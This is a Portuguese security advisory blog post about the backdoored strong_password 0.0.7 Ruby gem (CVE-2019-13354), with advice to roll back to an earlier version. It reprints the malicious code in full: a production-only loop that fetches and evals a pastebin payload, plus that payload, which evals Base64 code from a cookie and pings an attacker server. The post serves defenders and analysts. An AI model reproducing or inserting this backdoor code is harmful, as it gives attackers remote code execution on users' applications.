Skip to main content

A preocupação com ataques à cadeia de suprimentos aumenta após a descoberta de execução remota de código na gem Ruby strong_password

Escrito por
backdoor discovered in Gem

7 de julho de 2019

0 minutos de leitura

Em 5 de julho de 2019, foi publicado o alerta de segurança CVE-2019-13354 sobre uma versão maliciosa da gem Ruby strong_password, que permite a execução remota de código em aplicativos que incluem a dependência vulnerável.

Já adicionamos a vulnerabilidade ao nosso banco de dados e, se o Snyk monitora seu projeto Ruby, você já deve ter recebido nossos alertas automáticos. Caso contrário, recomendamos que você teste seu projeto para verificar se o aplicativo foi afetado pela versão maliciosa.

No momento, não há uma versão mais recente de strong_password. Por isso, recomendamos que você reverta imediatamente para uma versão anterior à vulnerável 0.0.7.

Segundo o site Rubygems.org, a versão maliciosa 0.0.7 teve 537 downloads.

Sobre a vulnerabilidade

A vulnerabilidade foi descoberta pelo proprietário do blog withatwist.dev. Como relatado em seu blog, ele percebeu o incidente durante uma análise manual que costuma fazer ao atualizar as dependências.

Ao comparar os changelogs das versões publicadas com o código-fonte, ele percebeu que a versão 0.0.7 havia sido publicada no Rubygems.org seis meses após o último lançamento, sem que nenhuma alteração no código-fonte tivesse sido publicada no repositório do GitHub.

Ao analisar os commits da versão 0.0.7 de strong_password, o seguinte trecho de código chamou sua atenção:


def _!;
  begin;
    yield;
  rescue Exception;
  end;
end

_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  } if Rails.env[0] == "p"
}

Para entender a história completa, também precisamos analisar o payload no pastebin.com usado por essa versão maliciosa:


_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

Agora que reunimos os dois trechos, podemos entender a história completa:

  1. O invasor conseguiu comprometer a conta do mantenedor original de strong_password para obter permissão de publicação.

  2. Uma versão maliciosa, a 0.0.7, foi publicada no Rubygems.org com o primeiro payload.

  3. Essa versão maliciosa só é ativada quando detecta que o aplicativo está sendo executado em um ambiente de produção. Depois de algum tempo, ela faz uma requisição ao pastebin.com para buscar o payload seguinte e executá-lo.

  4. O segundo payload, do pastebin.com, modifica o método Sendfile para obter o valor de um HTTP_COOKIE chamado ___id e executá-lo, permitindo que qualquer invasor remoto execute comandos.

  5. Por fim, o código malicioso também envia um ping a um servidor controlado pelo invasor para informar a URL do aplicativo em execução.

O proprietário do blog comunicou rapidamente o problema ao mantenedor, que então descobriu ter perdido o acesso necessário para remover a publicação ou corrigir a situação. Em seguida, o mantenedor alertou a comunidade de avisos de segurança Rubysec para que fossem tomadas providências. Isso levou à remoção da versão maliciosa 0.0.7 e à atribuição de um CVE.

Vulnerabilidades de código malicioso e ataques à cadeia de suprimentos

Essa história é semelhante ao caso de outro pacote Ruby gems, ocorrido apenas três meses antes.

No caso de bootstrap-sass, um invasor também conseguiu comprometer a conta de um mantenedor no Rubygems.org para publicar uma versão maliciosa que introduzia uma porta dos fundos para execução remota de código.

O repositório Rubygems.org não é o único alvo de ataques à cadeia de suprimentos. Há apenas duas semanas, contamos a história de um pacote malicioso encontrado no npm que tinha como alvo carteiras de criptomoedas. Felizmente, nos dois casos, a comunidade e as equipes de segurança do npm e do Rubygems conseguiram responder a tempo.

Comece a participar de desafios de Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo sob demanda ao nosso workshop virtual introdutório.